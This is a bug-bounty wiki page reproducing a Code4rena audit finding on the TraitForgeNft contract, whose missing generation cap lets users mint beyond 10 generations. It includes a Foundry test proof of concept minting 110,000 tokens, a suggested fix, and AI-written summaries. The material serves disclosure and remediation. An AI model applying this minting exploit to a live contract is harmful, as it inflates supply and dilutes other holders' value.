The maximum number of generations is infinite
The smart contract lacked a check to enforce a maximum generation limit, allowing users to mint NFTs beyond the intended cap of 10 generations. An attacker could mint an unlimited number of NFTs, exceeding the maximum supply.
Daniel_eth Follow with hl_, LSHFGJ and 48 others
Originally disclosed on Code4rena
Submitted by Daniel_eth, also found by Rhaydden (1, 2), hl_, LSHFGJ, iam_emptyset, Fitro, dontonka, TopStar, Abdessamed, 0xDazai, Agontuk, 0x3b, Shubham, 0xb0k0, Ruhum, avoloder, 0xlemon, AvantGard, Tigerfrake, 0xAleko, ABAIKUNANBAEV, FastChecker, 0xHash, anonymousjoe, y4y, JustUzair, samuraii77, onthehunt11, Autosaida, Trident-Audits, yaioxy, LeFy, EaglesSecurity, MrValioBg, PASCAL, shikhar229169, pfapostol, Tonchi, AuditGuy, 3n0ch, 0x0bserver, dobrevaleri, inzinko, kartik_giri_47538, dyoff, Topmark, DemoreX, abdulsamijay, rbserver, JanuaryPersimmon2024, KupiaSec, Kalogerone, 0xJoyBoy03, Zac, ilchovski, ke1caM, nnez, 0xrex, and shaka
In ‘TraitForgeNft’ there should be a maximum number of generations (it should be capped at 10), but instead, users can mint infinite generations and there is not a limit.
Proof of Concept
Foundry:
function test_vulnerability_NumberOfGenerationsIsInfinite() public {
vm.startPrank(owner);
//Here the owner sets all the contracts, transfer ownerhsip and writes batch
traitForgeNft.setAirdropContract(address(airdropContract));
traitForgeNft.setEntityForgingContract(address(entityForging));
traitForgeNft.setEntropyGenerator(address(entropyGenerator));
airdropContract.transferOwnership(address(traitForgeNft));
entropyGenerator.transferOwnership(address(traitForgeNft));
entropyGenerator.writeEntropyBatch1();
vm.stopPrank();
address user1 = address(123);
//Assigning 100000 ether to user1
deal(user1, 100000 ether);
vm.startPrank(user1);
skip(2 days);
bytes32[] memory proof = new bytes32[](1);
proof[0] = keccak256(abi.encode("Hi"));
//User mints generation 1
uint256 price = traitForgeNft.startPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price}(proof);
price += traitForgeNft.priceIncrement() * traitForgeNft.getGeneration();
}
assertEq(traitForgeNft.balanceOf(user1), 10000);
//User mints generation 2
uint256 price2 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price2}(proof);
price2 = traitForgeNft.calculateMintPrice();
}
assertEq(traitForgeNft.balanceOf(user1), 20000);
//User mints generation 3
uint256 price3 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price3}(proof);
price3 = traitForgeNft.calculateMintPrice();
}
assertEq(traitForgeNft.balanceOf(user1), 30000);
//User mints generation 4
uint256 price4 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price4}(proof);
price4 = traitForgeNft.calculateMintPrice();
}
assertEq(traitForgeNft.balanceOf(user1), 40000);
//User mints generation 5
uint256 price5 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price5}(proof);
price5 = traitForgeNft.calculateMintPrice();
}
assertEq(traitForgeNft.balanceOf(user1), 50000);
//User mints generation 6
uint256 price6 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price6}(proof);
price6 = traitForgeNft.calculateMintPrice();
}
assertEq(traitForgeNft.balanceOf(user1), 60000);
//User mints generation 7
uint256 price7 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price7}(proof);
price7 = traitForgeNft.calculateMintPrice();
}
assertEq(traitForgeNft.balanceOf(user1), 70000);
//User mints generation 8
uint256 price8 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price8}(proof);
price8 = traitForgeNft.calculateMintPrice();
}
assertEq(traitForgeNft.balanceOf(user1), 80000);
//User mints generation 9
uint256 price9 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price9}(proof);
price9 = traitForgeNft.calculateMintPrice();
}
assertEq(traitForgeNft.balanceOf(user1), 90000);
//User mints generation 10
uint256 price10 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price10}(proof);
price10 = traitForgeNft.calculateMintPrice();
}
assertEq(traitForgeNft.balanceOf(user1), 100000);
//User mints generation 11, this get also minted!
uint256 price11 = traitForgeNft.calculateMintPrice();
for(uint256 i = 0; i < 10000; i++){
traitForgeNft.mintToken{value: price11}(proof);
price11 = traitForgeNft.calculateMintPrice();
}
//Finally we can see that the user owns 110.000 NFT's, when the maximum would be 100.000
assertEq(traitForgeNft.balanceOf(user1), 110000);
}
Recommended Mitigation Steps
In TraiForgeNft::\_incrementGeneration, add a check in order to do not allow the the mint of the NFT’s above the maximum generation.
Instead of doing this:
function _incrementGeneration() private {
require(
generationMintCounts[currentGeneration] >= maxTokensPerGen,
'Generation limit not yet reached'
);
currentGeneration++;
generationMintCounts[currentGeneration] = 0;
priceIncrement = priceIncrement + priceIncrementByGen;
entropyGenerator.initializeAlphaIndices();
emit GenerationIncremented(currentGeneration);
}
Consider doing this:
function _incrementGeneration() private {
require(
generationMintCounts[currentGeneration] >= maxTokensPerGen,
'Generation limit not yet reached'
);
currentGeneration++;
require(currentGeneration <= maxGeneration,
'Maximum generation reached'
);
generationMintCounts[currentGeneration] = 0;
priceIncrement = priceIncrement + priceIncrementByGen;
entropyGenerator.initializeAlphaIndices();
emit GenerationIncremented(currentGeneration);
}
TForge1 (TraitForge) confirmed
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely, the _incrementGeneration function increments the generation counter without verifying that the new generation does not exceed the maximum allowed generation.
Impact
The total supply of NFTs can exceed the intended maximum, potentially diluting value and breaking the intended generation limit.
What the attacker needed
Access to mint function; sufficient funds to pay mint price
The fix
Add a require statement in _incrementGeneration to ensure currentGeneration does not exceed maxGeneration.
How it was found
- The owner sets up the contracts and writes entropy batch.
- A user mints 10,000 NFTs in generation 1.
- The user mints 10,000 NFTs in each subsequent generation up to generation 10.
- The user mints 10,000 NFTs in generation 11, which succeeds, resulting in 110,000 NFTs owned.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This is a bug in a smart contract that creates digital collectibles (NFTs). The contract was supposed to stop creating new generations after 10, but it didn't check, so someone could keep creating more and more NFTs without limit.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.